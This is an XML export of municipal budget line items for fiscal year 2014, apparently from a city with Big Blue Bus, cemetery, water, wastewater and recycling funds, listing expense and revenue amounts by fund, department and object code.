<row _id="5313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15600.0</total></row>
<row _id="5314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="5315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="5316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="5317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="5318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>37385.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37385.0</total></row>
<row _id="5319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="5320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256858.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>256858.0</total></row>
<row _id="5321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>458344.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>458344.0</total></row>
<row _id="5322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19794.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19794.0</total></row>
<row _id="5323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="5324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="5325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400000.0</total></row>
<row _id="5326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566940.0</object><object_description>PARKING AUTHORITY REV BOND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1134586.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1134586.0</total></row>
<row _id="5327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-98910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-98910.0</total></row>
<row _id="5328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401520.0</object><object_description>SPECIAL PICK-UPS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35894.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35894.0</total></row>
<row _id="5329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401540.0</object><object_description>STATE HIGHWAY CLEANING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11600.0</total></row>
<row _id="5330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405020.0</object><object_description>SALE OF REFUSE BAGS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="5331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400100.0</object><object_description>FRANCHISE TAX - UTILITIES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400190.0</object><object_description>BUSINESS LICENSE TAXES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401340.0</object><object_description>GEN PROM BUS LIC.-DOWNTOWN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-10150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10150.0</total></row>
<row _id="5334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401360.0</object><object_description>GEN PROM BUS LICENSE MAIN ST.</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-6100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6100.0</total></row>
<row _id="5335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404680.0</object><object_description>HMRRP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-106641.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-106641.0</total></row>
<row _id="5337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10500.0</total></row>
<row _id="5338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30983.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30983.0</total></row>
<row _id="5339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5428.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5428.0</total></row>
<row _id="5340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8830.0</total></row>
<row _id="5341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577220.0</object><object_description>INTEREST EXPENSE - BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>266550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>266550.0</total></row>
<row _id="5342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5250.0</total></row>
<row _id="5343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3137.0</total></row>
<row _id="5344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="5345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26083.0</total></row>
<row _id="5346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>603</division_id><division_name>SPECIAL SERVICES</division_name><object xsi:nil="true" /><object_description>CONTRACT SERVICES - WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>640500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>640500.0</total></row>
<row _id="5347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13325.0</total></row>
<row _id="5348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="5349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="5350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>195500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195500.0</total></row>
<row _id="5351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1050000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1050000.0</total></row>
<row _id="5352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="5353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2556.0</total></row>
<row _id="5354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98910.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>98910.0</total></row>
<row _id="5355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62253.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>62253.0</total></row>
<row _id="5356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1111443.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1111443.0</total></row>
<row _id="5357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="5358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="5359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="5360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
